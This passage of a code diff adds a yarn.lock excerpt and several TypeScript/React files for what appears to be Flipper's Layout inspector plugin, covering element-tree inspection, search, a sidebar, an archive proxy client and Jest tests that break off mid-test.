integrity sha512-8xOcRHvCjnocdS5cpwXQXVzmmh5e5+saE2QGoeQmbKmRS6J3VQppPOIt0MnmE+4xlZoumy0GPG0D0MVIQbNA1A==
loose-envify@^1.4.0:
version "1.4.0"
resolved "https://registry.yarnpkg.com/loose-envify/-/loose-envify-1.4.0.tgz#71ee51fa7be4caec1a63839f7e682d8132d30caf"
integrity sha512-lyuxPGr/Wfhrlem2CL/UcnUc1zcqKAImBDzukY7Y5F/yQiNdko6+fRLevlw1HgMySw7f611UIY408EtxRSoK3Q==
dependencies:
js-tokens "^3.0.0 || ^4.0.0"
math-expression-evaluator@^1.2.14:
version "1.2.17"
resolved "https://registry.yarnpkg.com/math-expression-evaluator/-/math-expression-evaluator-1.2.17.tgz#de819fdbcd84dccd8fae59c6aeb79615b9d266ac"
integrity sha1-3oGf282E3M2PrlnGrreWFbnSZqw=
object-assign@^4.1.1:
version "4.1.1"
resolved "https://registry.yarnpkg.com/object-assign/-/object-assign-4.1.1.tgz#2109adc7965887cfc05cbbd442cac8bfbb360863"
integrity sha1-IQmtx5ZYh8/AXLvUQsrIv7s2CGM=
performance-now@^2.1.0:
version "2.1.0"
resolved "https://registry.yarnpkg.com/performance-now/-/performance-now-2.1.0.tgz#6309f4e0e5fa913ec1c69307ae364b4b377c9e7b"
integrity sha1-Ywn04OX6kT7BxpMHrjZLSzd8nns=
promisify-child-process@^3.1.3:
version "3.1.3"
resolved "https://registry.yarnpkg.com/promisify-child-process/-/promisify-child-process-3.1.3.tgz#52a3b66638ae101fa2e68f9a2cbd101846042e33"
integrity sha512-qVox3vW2hqbktVw+IN7YZ/kgGA+u426ekmiZxiofNe9O4GSewjROwRQ4MQ6IbvhpeYSLqiLS0kMn+FWCz6ENlg==
dependencies:
"@babel/runtime" "^7.1.5"
prop-types@^15.6.0, prop-types@^15.6.2:
version "15.7.2"
resolved "https://registry.yarnpkg.com/prop-types/-/prop-types-15.7.2.tgz#52c41e75b8c87e72b9d9360e0206b99dcbffa6c5"
integrity sha512-8QQikdH7//R2vurIJSutZ1smHYTcLpRWEOlHnzcWHmBYrOGUysKwSsrC89BCiFj3CbrfJ/nXFdJepOVrY1GCHQ==
dependencies:
loose-envify "^1.4.0"
object-assign "^4.1.1"
react-is "^16.8.1"
raf@^3.4.0:
version "3.4.1"
resolved "https://registry.yarnpkg.com/raf/-/raf-3.4.1.tgz#0742e99a4a6552f445d73e3ee0328af0ff1ede39"
integrity sha512-Sq4CW4QhwOHE8ucn6J34MqtZCeWFP2aQSmrlroYgqAV1PjStIhJXxYuTgUIfkEk7zTLjmIjLmU5q+fbD1NnOJA==
dependencies:
performance-now "^2.1.0"
react-is@^16.8.1:
version "16.9.0"
resolved "https://registry.yarnpkg.com/react-is/-/react-is-16.9.0.tgz#21ca9561399aad0ff1a7701c01683e8ca981edcb"
integrity sha512-tJBzzzIgnnRfEm046qRcURvwQnZVXmuCbscxUO5RWrGTXpon2d4c8mI0D8WE6ydVIm29JiLB6+RslkIvym9Rjw==
react-lifecycles-compat@^3.0.4:
version "3.0.4"
resolved "https://registry.yarnpkg.com/react-lifecycles-compat/-/react-lifecycles-compat-3.0.4.tgz#4f1a273afdfc8f3488a8c516bfda78f872352362"
integrity sha512-fBASbA6LnOU9dOU2eW7aQ8xmYBSXUIWr+UmF9b1efZBazGNO+rcXT/icdKnYm2pTwcRylVUYwW7H1PHfLekVzA==
react-resize-detector@^2.3.0:
version "2.3.0"
resolved "https://registry.yarnpkg.com/react-resize-detector/-/react-resize-detector-2.3.0.tgz#57bad1ae26a28a62a2ddb678ba6ffdf8fa2b599c"
integrity sha512-oCAddEWWeFWYH5FAcHdBYcZjAw9fMzRUK9sWSx6WvSSOPVRxcHd5zTIGy/mOus+AhN/u6T4TMiWxvq79PywnJQ==
dependencies:
lodash.debounce "^4.0.8"
lodash.throttle "^4.1.1"
prop-types "^15.6.0"
resize-observer-polyfill "^1.5.0"
react-smooth@^1.0.0:
version "1.0.2"
resolved "https://registry.yarnpkg.com/react-smooth/-/react-smooth-1.0.2.tgz#f7a2d932ece8db898646078c3c97f3e9533e0486"
integrity sha512-pIGzL1g9VGAsRsdZQokIK0vrCkcdKtnOnS1gyB2rrowdLy69lNSWoIjCTWAfgbiYvria8tm5hEZqj+jwXMkV4A==
dependencies:
lodash "~4.17.4"
prop-types "^15.6.0"
raf "^3.4.0"
react-transition-group "^2.5.0"
react-transition-group@^2.5.0:
version "2.9.0"
resolved "https://registry.yarnpkg.com/react-transition-group/-/react-transition-group-2.9.0.tgz#df9cdb025796211151a436c69a8f3b97b5b07c8d"
integrity sha512-+HzNTCHpeQyl4MJ/bdE0u6XRMe9+XG/+aL4mCxVN4DnPBQ0/5bfHWPDuOZUzYdMj94daZaZdCCc1Dzt9R/xSSg==
dependencies:
dom-helpers "^3.4.0"
loose-envify "^1.4.0"
prop-types "^15.6.2"
react-lifecycles-compat "^3.0.4"
recharts-scale@^0.4.2:
version "0.4.2"
resolved "https://registry.yarnpkg.com/recharts-scale/-/recharts-scale-0.4.2.tgz#b66315d985cd9b80d5f7d977a5aab9a305abc354"
integrity sha512-p/cKt7j17D1CImLgX2f5+6IXLbRHGUQkogIp06VUoci/XkhOQiGSzUrsD1uRmiI7jha4u8XNFOjkHkzzBPivMg==
dependencies:
decimal.js-light "^2.4.1"
recharts@1.7.1:
version "1.7.1"
resolved "https://registry.yarnpkg.com/recharts/-/recharts-1.7.1.tgz#bed7c9427fa0049090447070af185557f5569b06"
integrity sha512-i4vK/ZSICr+dXGmaijuNybc+xhctiX0464xnqauY+OvE6WvU5v+0GYciQvD/HJSObkKG4wY8aRtiuUL9YtXnHQ==
dependencies:
classnames "^2.2.5"
core-js "^2.5.1"
d3-interpolate "^1.3.0"
d3-scale "^2.1.0"
d3-shape "^1.2.0"
lodash "^4.17.5"
prop-types "^15.6.0"
react-resize-detector "^2.3.0"
react-smooth "^1.0.0"
recharts-scale "^0.4.2"
reduce-css-calc "^1.3.0"
reduce-css-calc@^1.3.0:
version "1.3.0"
resolved "https://registry.yarnpkg.com/reduce-css-calc/-/reduce-css-calc-1.3.0.tgz#747c914e049614a4c9cfbba629871ad1d2927716"
integrity sha1-dHyRTgSWFKTJz7umKYca0dKSdxY=
dependencies:
balanced-match "^0.4.2"
math-expression-evaluator "^1.2.14"
reduce-function-call "^1.0.1"
reduce-function-call@^1.0.1:
version "1.0.2"
resolved "https://registry.yarnpkg.com/reduce-function-call/-/reduce-function-call-1.0.2.tgz#5a200bf92e0e37751752fe45b0ab330fd4b6be99"
integrity sha1-WiAL+S4ON3UXUv5FsKszD9S2vpk=
dependencies:
balanced-match "^0.4.2"
regenerator-runtime@^0.13.2:
version "0.13.3"
resolved "https://registry.yarnpkg.com/regenerator-runtime/-/regenerator-runtime-0.13.3.tgz#7cf6a77d8f5c6f60eb73c5fc1955b2ceb01e6bf5"
integrity sha512-naKIZz2GQ8JWh///G7L3X6LaQUAMp2lvb1rvwwsURe/VXwD6VMfr+/1NuNw3ag8v2kY1aQ/go5SNn79O9JU7yw==
resize-observer-polyfill@^1.5.0:
version "1.5.1"
resolved "https://registry.yarnpkg.com/resize-observer-polyfill/-/resize-observer-polyfill-1.5.1.tgz#0e9020dd3d21024458d4ebd27e23e40269810464"
integrity sha512-LwZrotdHOo12nQuZlHEmtuXdqGoOD0OhaxopaNFxWzInpEgaLWoVuAMbTzixuosCx2nEG58ngzW3vxdWoxIgdg==

View File

@@ -0,0 +1,343 @@
/**
* Copyright (c) Facebook, Inc. and its affiliates.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*
* @format
*/
import {
ElementID,
Element,
PluginClient,
ElementsInspector,
ElementSearchResultSet,
} from 'flipper';
import {Component} from 'react';
import debounce from 'lodash.debounce';
import {PersistedState, ElementMap} from './';
import React from 'react';
type GetNodesOptions = {
force?: boolean;
ax?: boolean;
forAccessibilityEvent?: boolean;
};
type Props = {
ax?: boolean;
client: PluginClient;
showsSidebar: boolean;
inAlignmentMode?: boolean;
selectedElement: ElementID | null | undefined;
selectedAXElement: ElementID | null | undefined;
onSelect: (ids: ElementID | null | undefined) => void;
onDataValueChanged: (path: Array<string>, value: any) => void;
setPersistedState: (state: Partial<PersistedState>) => void;
persistedState: PersistedState;
searchResults: ElementSearchResultSet | null;
};
export default class Inspector extends Component<Props> {
call() {
return {
GET_ROOT: this.props.ax ? 'getAXRoot' : 'getRoot',
INVALIDATE: this.props.ax ? 'invalidateAX' : 'invalidate',
GET_NODES: this.props.ax ? 'getAXNodes' : 'getNodes',
SET_HIGHLIGHTED: 'setHighlighted',
SELECT: this.props.ax ? 'selectAX' : 'select',
INVALIDATE_WITH_DATA: this.props.ax
? 'invalidateWithDataAX'
: 'invalidateWithData',
};
}
selected = () => {
return this.props.ax
? this.props.selectedAXElement
: this.props.selectedElement;
};
root = () => {
return this.props.ax
? this.props.persistedState.rootAXElement
: this.props.persistedState.rootElement;
};
elements = () => {
return this.props.ax
? this.props.persistedState.AXelements
: this.props.persistedState.elements;
};
focused = () => {
if (!this.props.ax) {
return null;
}
const elements: Array<Element> = Object.values(
this.props.persistedState.AXelements,
);
const focusedElement = elements.find(i =>
Boolean(
i.data.Accessibility && i.data.Accessibility['accessibility-focused'],
),
);
return focusedElement ? focusedElement.id : null;
};
getAXContextMenuExtensions = () =>
this.props.ax
? [
{
label: 'Focus',
click: (id: ElementID) => {
this.props.client.call('onRequestAXFocus', {id});
},
},
]
: [];
componentDidMount() {
this.props.client.call(this.call().GET_ROOT).then((root: Element) => {
this.props.setPersistedState({
[this.props.ax ? 'rootAXElement' : 'rootElement']: root.id,
});
this.updateElement(root.id, {...root, expanded: true});
this.performInitialExpand(root);
});
this.props.client.subscribe(
this.call().INVALIDATE,
({
nodes,
}: {
nodes: Array<{id: ElementID; children: Array<ElementID>}>;
}) => {
const ids = nodes
.map(n => [n.id, ...(n.children || [])])
.reduce((acc, cv) => acc.concat(cv), []);
this.invalidate(ids);
},
);
this.props.client.subscribe(
this.call().INVALIDATE_WITH_DATA,
(obj: {nodes: Array<Element>}) => {
const {nodes} = obj;
this.invalidateWithData(nodes);
},
);
this.props.client.subscribe(
this.call().SELECT,
({path}: {path: Array<ElementID>}) => {
this.getAndExpandPath(path);
},
);
if (this.props.ax) {
this.props.client.subscribe('axFocusEvent', () => {
// update all nodes, to find new focused node
this.getNodes(Object.keys(this.props.persistedState.AXelements), {
force: true,
ax: true,
});
});
}
}
componentDidUpdate(prevProps: Props) {
const {ax, selectedElement, selectedAXElement} = this.props;
if (
ax &&
selectedElement &&
selectedElement !== prevProps.selectedElement
) {
// selected element in non-AX tree changed, find linked element in AX tree
const newlySelectedElem = this.props.persistedState.elements[
selectedElement
];
if (newlySelectedElem) {
this.props.onSelect(
newlySelectedElem.extraInfo
? newlySelectedElem.extraInfo.linkedNode
: null,
);
}
} else if (
!ax &&
selectedAXElement &&
selectedAXElement !== prevProps.selectedAXElement
) {
// selected element in AX tree changed, find linked element in non-AX tree
const newlySelectedAXElem = this.props.persistedState.AXelements[
selectedAXElement
];
if (newlySelectedAXElem) {
this.props.onSelect(
newlySelectedAXElem.extraInfo
? newlySelectedAXElem.extraInfo.linkedNode
: null,
);
}
}
}
invalidateWithData(elements: Array<Element>): void {
if (elements.length === 0) {
return;
}
const updatedElements: ElementMap = elements.reduce(
(acc: ElementMap, element: Element) => {
acc[element.id] = {
...element,
expanded: this.elements()[element.id]
? this.elements()[element.id].expanded
: false,
};
return acc;
},
{},
);
this.props.setPersistedState({
[this.props.ax ? 'AXelements' : 'elements']: {
...this.elements(),
...updatedElements,
},
});
}
async invalidate(ids: Array<ElementID>): Promise<Array<Element>> {
if (ids.length === 0) {
return Promise.resolve([]);
}
const elements = await this.getNodes(ids, {});
const children = elements
.filter(
(element: Element) =>
this.elements()[element.id] && this.elements()[element.id].expanded,
)
.map((element: Element) => element.children)
.reduce((acc, val) => acc.concat(val), []);
return this.invalidate(children);
}
updateElement(id: ElementID, data: Object) {
this.props.setPersistedState({
[this.props.ax ? 'AXelements' : 'elements']: {
...this.elements(),
[id]: {
...this.elements()[id],
...data,
},
},
});
}
// When opening the inspector for the first time, expand all elements that
// contain only 1 child recursively.
async performInitialExpand(element: Element): Promise<void> {
if (!element.children.length) {
// element has no children so we're as deep as we can be
return;
}
return this.getChildren(element.id, {}).then(() => {
if (element.children.length >= 2) {
// element has two or more children so we can stop expanding
return;
}
return this.performInitialExpand(this.elements()[element.children[0]]);
});
}
async getChildren(
id: ElementID,
options: GetNodesOptions,
): Promise<Array<Element>> {
if (!this.elements()[id]) {
await this.getNodes([id], options);
}
this.updateElement(id, {expanded: true});
return this.getNodes(this.elements()[id].children, options);
}
async getNodes(
ids: Array<ElementID> = [],
options: GetNodesOptions,
): Promise<Array<Element>> {
if (ids.length > 0) {
const {forAccessibilityEvent} = options;
const {
elements,
}: {elements: Array<Element>} = await this.props.client.call(
this.call().GET_NODES,
{
ids,
forAccessibilityEvent,
selected: false,
},
);
elements.forEach(e => this.updateElement(e.id, e));
return elements;
} else {
return [];
}
}
async getAndExpandPath(path: Array<ElementID>) {
await Promise.all(path.map(id => this.getChildren(id, {})));
this.onElementSelected(path[path.length - 1]);
}
onElementSelected = debounce((selectedKey: ElementID) => {
this.onElementHovered(selectedKey);
this.props.onSelect(selectedKey);
});
onElementHovered = debounce((key: ElementID | null | undefined) => {
this.props.client.call(this.call().SET_HIGHLIGHTED, {
id: key,
isAlignmentMode: this.props.inAlignmentMode,
});
});
onElementExpanded = (
id: ElementID,
deep: boolean,
forceExpand: boolean = false,
) => {
const shouldExpand = forceExpand || !this.elements()[id].expanded;
if (shouldExpand) {
this.updateElement(id, {expanded: shouldExpand});
}
this.getChildren(id, {}).then(children => {
if (deep) {
children.forEach(child =>
this.onElementExpanded(child.id, deep, shouldExpand),
);
}
});
if (!shouldExpand) {
this.updateElement(id, {expanded: shouldExpand});
}
};
render() {
return this.root() ? (
<ElementsInspector
onElementSelected={this.onElementSelected}
onElementHovered={this.onElementHovered}
onElementExpanded={this.onElementExpanded}
onValueChanged={this.props.onDataValueChanged}
searchResults={this.props.searchResults}
selected={this.selected()}
root={this.root()}
elements={this.elements()}
focused={this.focused()}
contextMenuExtensions={this.getAXContextMenuExtensions()}
/>
) : null;
}
}

View File

@@ -0,0 +1,175 @@
/**
* Copyright (c) Facebook, Inc. and its affiliates.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*
* @format
*/
import {
ManagedDataInspector,
Panel,
FlexCenter,
styled,
colors,
PluginClient,
SidebarExtensions,
Element,
Client,
Logger,
} from 'flipper';
import {Component} from 'react';
import deepEqual from 'deep-equal';
import React from 'react';
import {useMemo, useEffect} from 'react';
import {kebabCase} from 'lodash';
const NoData = styled(FlexCenter)({
fontSize: 18,
color: colors.macOSTitleBarIcon,
});
type OnValueChanged = (path: Array<string>, val: any) => void;
type InspectorSidebarSectionProps = {
data: any;
id: string;
onValueChanged: OnValueChanged | null;
tooltips?: Object;
};
class InspectorSidebarSection extends Component<InspectorSidebarSectionProps> {
setValue = (path: Array<string>, value: any) => {
if (this.props.onValueChanged) {
this.props.onValueChanged([this.props.id, ...path], value);
}
};
shouldComponentUpdate(nextProps: InspectorSidebarSectionProps) {
return (
!deepEqual(nextProps, this.props) ||
this.props.id !== nextProps.id ||
this.props.onValueChanged !== nextProps.onValueChanged
);
}
extractValue = (val: any, _depth: number) => {
if (val && val.__type__) {
return {
mutable: Boolean(val.__mutable__),
type: val.__type__ === 'auto' ? typeof val.value : val.__type__,
value: val.value,
};
} else {
return {
mutable: typeof val === 'object',
type: typeof val,
value: val,
};
}
};
render() {
const {id} = this.props;
return (
<Panel heading={id} floating={false} grow={false}>
<ManagedDataInspector
data={this.props.data}
setValue={this.props.onValueChanged ? this.setValue : undefined}
extractValue={this.extractValue}
expandRoot={true}
collapsed={true}
tooltips={this.props.tooltips}
/>
</Panel>
);
}
}
type Props = {
element: Element | null;
tooltips?: Object;
onValueChanged: OnValueChanged | null;
client: PluginClient;
realClient: Client;
logger: Logger;
};
const Sidebar: React.FC<Props> = (props: Props) => {
const {element} = props;
if (!element || !element.data) {
return <NoData grow>No data</NoData>;
}
const [sectionDefs, sectionKeys] = useMemo(() => {
const sectionKeys = [];
const sectionDefs = [];
for (const key in element.data) {
if (key === 'Extra Sections') {
for (const extraSection in element.data[key]) {
const section = element.data[key][extraSection];
let data = {};
// data might be sent as stringified JSON, we want to parse it for a nicer persentation.
if (typeof section === 'string') {
try {
data = JSON.parse(section);
} catch (e) {
// data was not a valid JSON, type is required to be an object
console.error(
`ElementsInspector unable to parse extra section: ${extraSection}`,
);
data = {};
}
} else {
data = section;
}
sectionKeys.push(kebabCase(extraSection));
sectionDefs.push({
key: extraSection,
id: extraSection,
data: data,
});
}
} else {
sectionKeys.push(kebabCase(key));
sectionDefs.push({
key,
id: key,
data: element.data[key],
});
}
}
return [sectionDefs, sectionKeys];
}, [props.element]);
const sections: Array<React.ReactNode> = (
(SidebarExtensions &&
SidebarExtensions.map(ext =>
ext(props.client, props.realClient, element.id, props.logger),
)) ||
[]
).concat(
sectionDefs.map(def => (
<InspectorSidebarSection
tooltips={props.tooltips}
key={def.key}
id={def.id}
data={def.data}
onValueChanged={props.onValueChanged}
/>
)),
);
useEffect(() => {
sectionKeys.map(key =>
props.logger.track('usage', `layout-sidebar-extension:${key}:loaded`),
);
}, [props.element?.data]);
return <>{sections}</>;
};
export default Sidebar;

View File

@@ -0,0 +1,194 @@
/**
* Copyright (c) Facebook, Inc. and its affiliates.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*
* @format
*/
import {Element} from 'flipper';
import {PersistedState} from './index';
import {SearchResultTree} from './Search';
import cloneDeep from 'lodash.clonedeep';
const propsForPersistedState = (
AXMode: boolean,
): {
ROOT: 'rootAXElement' | 'rootElement';
ELEMENTS: 'AXelements' | 'elements';
ELEMENT: 'axElement' | 'element';
} => {
return {
ROOT: AXMode ? 'rootAXElement' : 'rootElement',
ELEMENTS: AXMode ? 'AXelements' : 'elements',
ELEMENT: AXMode ? 'axElement' : 'element',
};
};
function constructSearchResultTree(
node: Element,
isMatch: boolean,
children: Array<SearchResultTree>,
_AXMode: boolean,
AXNode: Element | null,
): SearchResultTree {
const searchResult = {
id: node.id,
isMatch,
hasChildren: children.length > 0,
children: children.length > 0 ? children : [],
element: node,
axElement: AXNode,
};
return searchResult;
}
function isMatch(element: Element, query: string): boolean {
const nameMatch = element.name.toLowerCase().includes(query.toLowerCase());
return nameMatch || element.id === query;
}
export function searchNodes(
node: Element,
query: string,
AXMode: boolean,
state: PersistedState,
): SearchResultTree | null {
// Even if the axMode is true, we will have to search the normal elements too.
// The AXEelements will automatically populated in constructSearchResultTree
const elements = state[propsForPersistedState(false).ELEMENTS];
const children: Array<SearchResultTree> = [];
const match = isMatch(node, query);
for (const childID of node.children) {
const child = elements[childID];
const tree = searchNodes(child, query, AXMode, state);
if (tree) {
children.push(tree);
}
}
if (match || children.length > 0) {
return cloneDeep(
constructSearchResultTree(
node,
match,
children,
AXMode,
AXMode ? state.AXelements[node.id] : null,
),
);
}
return null;
}
class ProxyArchiveClient {
constructor(
persistedState: PersistedState,
onElementHighlighted?: (id: string) => void,
) {
this.persistedState = cloneDeep(persistedState);
this.onElementHighlighted = onElementHighlighted;
}
persistedState: PersistedState;
onElementHighlighted: ((id: string) => void) | undefined;
subscribe(_method: string, _callback: (params: any) => void): void {
return;
}
supportsMethod(_method: string): Promise<boolean> {
return Promise.resolve(false);
}
send(_method: string, _params?: Object): void {
return;
}
call(method: string, paramaters?: {[key: string]: any}): Promise<any> {
switch (method) {
case 'getRoot': {
const {rootElement} = this.persistedState;
if (!rootElement) {
return Promise.resolve(null);
}
return Promise.resolve(this.persistedState.elements[rootElement]);
}
case 'getAXRoot': {
const {rootAXElement} = this.persistedState;
if (!rootAXElement) {
return Promise.resolve(null);
}
return Promise.resolve(this.persistedState.AXelements[rootAXElement]);
}
case 'getNodes': {
if (!paramaters) {
return Promise.reject(new Error('Called getNodes with no params'));
}
const {ids} = paramaters;
const arr: Array<Element> = [];
for (const id of ids) {
arr.push(this.persistedState.elements[id]);
}
return Promise.resolve({elements: arr});
}
case 'getAXNodes': {
if (!paramaters) {
return Promise.reject(new Error('Called getAXNodes with no params'));
}
const {ids} = paramaters;
const arr: Array<Element> = [];
for (const id of ids) {
arr.push(this.persistedState.AXelements[id]);
}
return Promise.resolve({elements: arr});
}
case 'getSearchResults': {
const {rootElement, rootAXElement} = this.persistedState;
if (!paramaters) {
return Promise.reject(
new Error('Called getSearchResults with no params'),
);
}
const {query, axEnabled} = paramaters;
if (!query) {
return Promise.reject(
new Error('query is not passed as a params to getSearchResults'),
);
}
let element: Element;
if (axEnabled) {
if (!rootAXElement) {
return Promise.reject(new Error('rootAXElement is undefined'));
}
element = this.persistedState.AXelements[rootAXElement];
} else {
if (!rootElement) {
return Promise.reject(new Error('rootElement is undefined'));
}
element = this.persistedState.elements[rootElement];
}
const output = searchNodes(
element,
query,
axEnabled,
this.persistedState,
);
return Promise.resolve({results: output, query});
}
case 'isConsoleEnabled': {
return Promise.resolve(false);
}
case 'setHighlighted': {
const id = paramaters?.id;
this.onElementHighlighted && this.onElementHighlighted(id);
return Promise.resolve();
}
default: {
return Promise.resolve();
}
}
}
}
export default ProxyArchiveClient;

View File

@@ -0,0 +1,211 @@
/**
* Copyright (c) Facebook, Inc. and its affiliates.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*
* @format
*/
import {PersistedState, ElementMap} from './';
import {
PluginClient,
ElementSearchResultSet,
Element,
SearchInput,
SearchBox,
SearchIcon,
LoadingIndicator,
styled,
colors,
} from 'flipper';
import {Component} from 'react';
import React from 'react';
export type SearchResultTree = {
id: string;
isMatch: boolean;
hasChildren: boolean;
children: Array<SearchResultTree>;
element: Element;
axElement: Element | null; // Not supported in iOS
};
type Props = {
client: PluginClient;
inAXMode: boolean;
onSearchResults: (searchResults: ElementSearchResultSet) => void;
setPersistedState: (state: Partial<PersistedState>) => void;
persistedState: PersistedState;
initialQuery: string | null;
};
type State = {
value: string;
outstandingSearchQuery: string | null;
};
const LoadingSpinner = styled(LoadingIndicator)({
marginRight: 4,
marginLeft: 3,
marginTop: -1,
});
export default class Search extends Component<Props, State> {
state = {
value: '',
outstandingSearchQuery: null,
};
timer: NodeJS.Timeout | undefined;
onChange = (e: React.ChangeEvent<HTMLInputElement>) => {
if (this.timer) {
clearTimeout(this.timer);
}
const {value} = e.target;
this.setState({value});
this.timer = setTimeout(() => this.performSearch(value), 200);
};
onKeyDown = (e: React.KeyboardEvent) => {
if (e.key === 'Enter') {
this.performSearch(this.state.value);
}
};
componentDidMount() {
if (this.props.initialQuery) {
const queryString = this.props.initialQuery
? this.props.initialQuery
: '';
if (this.timer) {
clearTimeout(this.timer);
}
this.timer = setTimeout(() => this.performSearch(queryString), 200);
}
}
performSearch(query: string) {
this.setState({
outstandingSearchQuery: query,
});
if (!query) {
this.displaySearchResults(
{query: '', results: null},
this.props.inAXMode,
);
} else {
this.props.client
.call('getSearchResults', {query, axEnabled: this.props.inAXMode})
.then(response =>
this.displaySearchResults(response, this.props.inAXMode),
);
}
}
displaySearchResults(
{
results,
query,
}: {
results: SearchResultTree | null;
query: string;
},
axMode: boolean,
) {
this.setState({
outstandingSearchQuery:
query === this.state.outstandingSearchQuery
? null
: this.state.outstandingSearchQuery,
});
const searchResults = this.getElementsFromSearchResultTree(results);
const searchResultIDs = new Set(searchResults.map(r => r.element.id));
const elements: ElementMap = searchResults.reduce(
(acc: ElementMap, {element}: SearchResultTree) => ({
...acc,
[element.id]: {
...element,
// expand all search results, that we have have children for
expanded: element.children.some(c => searchResultIDs.has(c)),
},
}),
this.props.persistedState.elements,
);
let {AXelements} = this.props.persistedState;
if (axMode) {
AXelements = searchResults.reduce(
(acc: ElementMap, {axElement}: SearchResultTree) => {
if (!axElement) {
return acc;
}
return {
...acc,
[axElement.id]: {
...axElement,
// expand all search results, that we have have children for
expanded: axElement.children.some(c => searchResultIDs.has(c)),
},
};
},
this.props.persistedState.AXelements,
);
}
this.props.setPersistedState({elements, AXelements});
this.props.onSearchResults({
matches: new Set(
searchResults.filter(x => x.isMatch).map(x => x.element.id),
),
query: query,
});
}
getElementsFromSearchResultTree(
tree: SearchResultTree | null,
): Array<SearchResultTree> {
if (!tree) {
return [];
}
let elements = [
{
children: [] as Array<SearchResultTree>,
id: tree.id,
isMatch: tree.isMatch,
hasChildren: Boolean(tree.children),
element: tree.element,
axElement: tree.axElement,
},
];
if (tree.children) {
for (const child of tree.children) {
elements = elements.concat(this.getElementsFromSearchResultTree(child));
}
}
return elements;
}
render() {
return (
<SearchBox tabIndex={-1}>
<SearchIcon
name="magnifying-glass"
color={colors.macOSTitleBarIcon}
size={16}
/>
<SearchInput
placeholder={'Search'}
onChange={this.onChange}
onKeyDown={this.onKeyDown}
value={this.state.value}
/>
{this.state.outstandingSearchQuery && <LoadingSpinner size={16} />}
</SearchBox>
);
}
}

View File

@@ -0,0 +1,41 @@
/**
* Copyright (c) Facebook, Inc. and its affiliates.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*
* @format
*/
import {Glyph, styled, colors} from 'flipper';
import React from 'react';
type Props = {
title: string;
icon: string;
active: boolean;
onClick: () => void;
};
const ToolbarIcon = styled.div({
marginRight: 9,
marginTop: -3,
marginLeft: 4,
position: 'relative', // for settings popover positioning
});
export default function(props: Props) {
return (
<ToolbarIcon onClick={props.onClick} title={props.title}>
<Glyph
name={props.icon}
size={16}
color={
props.active
? colors.macOSTitleBarIconSelected
: colors.macOSTitleBarIconActive
}
/>
</ToolbarIcon>
);
}

View File

@@ -0,0 +1,415 @@
/**
* Copyright (c) Facebook, Inc. and its affiliates.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*
* @format
*/
import {
default as ProxyArchiveClient,
searchNodes,
} from '../ProxyArchiveClient';
import {PersistedState, ElementMap} from '../index';
import {ElementID, Element} from 'flipper';
import {SearchResultTree} from '../Search';
function constructElement(
id: string,
name: string,
children: Array<ElementID>,
): Element {
return {
id,
name,
expanded: false,
children,
attributes: [],
data: {},
decoration: 'decoration',
extraInfo: {},
};
}
function constructPersistedState(axMode: boolean): PersistedState {
if (!axMode) {
return {
rootElement: 'root',
rootAXElement: null,
elements: {},
AXelements: {},
};
}
return {
rootElement: null,
rootAXElement: 'root',
elements: {},
AXelements: {},
};
}
let state = constructPersistedState(false);
function populateChildren(state: PersistedState, axMode: boolean) {
const elements: ElementMap = {};
elements['root'] = constructElement('root', 'root view', [
'child0',
'child1',
]);
elements['child0'] = constructElement('child0', 'child0 view', [
'child0_child0',
'child0_child1',
]);
elements['child1'] = constructElement('child1', 'child1 view', [
'child1_child0',
'child1_child1',
]);
elements['child0_child0'] = constructElement(
'child0_child0',
'child0_child0 view',
[],
);
elements['child0_child1'] = constructElement(
'child0_child1',
'child0_child1 view',
[],
);
elements['child1_child0'] = constructElement(
'child1_child0',
'child1_child0 view',
[],
);
elements['child1_child1'] = constructElement(
'child1_child1',
'child1_child1 view',
[],
);
state.elements = elements;
if (axMode) {
state.AXelements = elements;
}
}
beforeEach(() => {
state = constructPersistedState(false);
populateChildren(state, false);
});
test('test the searchNode for root in axMode false', async () => {
const searchResult: SearchResultTree | null = await searchNodes(
state.elements['root'],
'root',
false,
state,
);
expect(searchResult).toBeDefined();
expect(searchResult).toEqual({
id: 'root',
isMatch: true,
hasChildren: false,
children: [],
element: state.elements['root'],
axElement: null,
});
});
test('test the searchNode for root in axMode true', async () => {
state = constructPersistedState(true);
populateChildren(state, true);
const searchResult: SearchResultTree | null = await searchNodes(
state.AXelements['root'],
'RoOT',
true,
state,
);
expect(searchResult).toBeDefined();
expect(searchResult).toEqual({
id: 'root',
isMatch: true,
hasChildren: false,
children: [],
element: state.AXelements['root'], // Even though AXElement exists, normal element will exist too
axElement: state.AXelements['root'],
});
});
test('test the searchNode which matches just one child', async () => {
const searchResult: SearchResultTree | null = await searchNodes(
state.elements['root'],
'child0_child0',
false,
state,
);
expect(searchResult).toBeDefined();
expect(searchResult).toEqual({
id: 'root',
isMatch: false,
hasChildren: true,
children: [
{
id: 'child0',
isMatch: false,
hasChildren: true,
children: [
{
id: 'child0_child0',
isMatch: true,
hasChildren: false,
children: [],
element: state.elements['child0_child0'],
axElement: null,
},
],
element: state.elements['child0'],
axElement: null,
},
],
element: state.elements['root'],
axElement: null,
});
});
test('test the searchNode for which matches multiple child', async () => {
const searchResult: SearchResultTree | null = await searchNodes(
state.elements['root'],
'child0',
false,
state,
);
expect(searchResult).toBeDefined();
const expectedSearchResult = {
id: 'root',
isMatch: false,
hasChildren: true,
children: [
{
id: 'child0',
isMatch: true,
hasChildren: true,
children: [
{
id: 'child0_child0',
isMatch: true,
hasChildren: false,
children: [],
element: state.elements['child0_child0'],
axElement: null,
},
{
id: 'child0_child1',
isMatch: true,
hasChildren: false,
children: [],
element: state.elements['child0_child1'],
axElement: null,
},
],
element: state.elements['child0'],
axElement: null,
},
{
id: 'child1',
isMatch: false,
hasChildren: true,
children: [
{
id: 'child1_child0',
isMatch: true,
hasChildren: false,
children: [],
element: state.elements['child1_child0'],
axElement: null,
},
],
element: state.elements['child1'],
axElement: null,
},
],
element: state.elements['root'],
axElement: null,
};
expect(searchResult).toEqual(expectedSearchResult);
});
test('test the searchNode, it should not be case sensitive', async () => {
const searchResult: SearchResultTree | null = await searchNodes(
state.elements['root'],
'ChIlD0',
false,
state,
);
expect(searchResult).toBeDefined();
const expectedSearchResult = {
id: 'root',
